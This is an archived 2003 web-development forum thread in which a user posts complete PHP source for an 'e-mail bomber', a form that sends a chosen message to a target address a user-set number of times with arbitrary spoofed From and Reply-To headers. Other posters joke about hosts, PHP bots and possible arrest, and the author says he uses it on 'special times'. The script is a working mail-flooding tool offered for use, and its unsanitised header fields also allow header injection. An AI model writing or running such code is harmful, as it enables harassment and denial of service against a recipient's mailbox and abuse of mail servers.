Valhalla Legends Archive

Programming => Web Development => Topic started by: Archangel. on December 25, 2003, 12:08 PM

Title: PHP E-Mail Bomber Huh.
Post by: Archangel. on December 25, 2003, 12:08 PM
Huh, Php e-Mail Bomber:
   <?php
   if ($submit == "go!"){
   $extra = "From: $from\r\nReply-To: $replyto\r\n";
   echo "
   <table>
   <tr>
   <td>To:</td>
   <td>$recipient</td>
   </tr>
   <tr>
   <td>From:</td>
   <td>$from</td>
   </tr>
   <tr>
   <td>Reply-to:</td>
   <td>$replyto</td>
   </tr>
   <tr>
   <td>Subject:</td>
   <td>$subject</td>
   </tr>
   <tr>
   <td>Message:</td>
   <td>$message</td>
   </tr>
   <tr>
   <td>Number to send:</td>
   <td>$number</td>
   </tr>
   </table>
   <br>Sending... ";
   for ($i = 0; $i < $number; $i++){
   mail ($recipient, $subject, $message, $extra);
   }
   echo "done</body></html>";
   }
   else{
   echo "
   <form method='post' action='emailbomber.php'>
   <table>
   <tr>
   <td>To:</td>
   <td><input type='text' name='recipient'></input></td>
   </tr>
   <tr>
   <td>From:</td>
   <td><input type='text' name='from'></input></td>
   </tr>
   <tr>
   <td>Reply-to:</td>
   <td><input type='text' name='replyto'></input></td>
   </tr>
   <tr>
   <td>Subject:</td>
   <td><input type='text' name='subject'></input></td>
   </tr>
   <tr>
   <td>Message:</td>
   <td><input type='text' name='message'></input></td>
   </tr>
   <tr>
   <td>Number to send:</td>
   <td><input type='text' name='number'></input></td>
   </tr>
   </table>
   <input type='submit' name='submit' value='go!'></input>
   </form> ";
   }
   ?>
Title: Re:PHP E-Mail Bomber Huh.
Post by: quasi-modo on December 25, 2003, 02:07 PM
Would you be running your own smtp? Most hosts would get pissed by flooding their smtp with spam :P
Title: Re:PHP E-Mail Bomber Huh.
Post by: Archangel. on December 26, 2003, 06:52 PM
Well, not really lol.. I just use it on special times lol..
Title: Re:PHP E-Mail Bomber Huh.
Post by: Banana fanna fo fanna on December 26, 2003, 08:29 PM
Wow, someone thinks they're too cool for school.
Title: Re:PHP E-Mail Bomber Huh.
Post by: Archangel. on December 26, 2003, 09:29 PM
Im soooo bored..,
Hmm it isnt possible to make a php bot? right?
Title: Re:PHP E-Mail Bomber Huh.
Post by: Banana fanna fo fanna on December 26, 2003, 11:15 PM
It's possible, but probably not the ideal language to write one in.
Title: Re:PHP E-Mail Bomber Huh.
Post by: quasi-modo on December 27, 2003, 02:34 PM
How would you do that, would you use ssl with php?
Title: Re:PHP E-Mail Bomber Huh.
Post by: Banana fanna fo fanna on December 27, 2003, 03:59 PM
You'd use the sockets api.
Title: Re:PHP E-Mail Bomber Huh.
Post by: Archangel. on December 28, 2003, 10:17 PM
Allot of people have told me u cant like shadowed, and he is really good at this, i told him about the sockets long time ago and he told me dont even try to :o.
Title: Re:PHP E-Mail Bomber Huh.
Post by: CrAzY on January 14, 2004, 07:38 AM
Would you really want to post a bomber on a website... Might be arrested :)
Title: Re:PHP E-Mail Bomber Huh.
Post by: SNiFFeR on January 14, 2004, 12:11 PM
I doubt you can get arrested for showing someone how something is done.
Title: Re:PHP E-Mail Bomber Huh.
Post by: quasi-modo on January 14, 2004, 04:04 PM
its a simple feedback form, its only harmful when you put it in a loop :P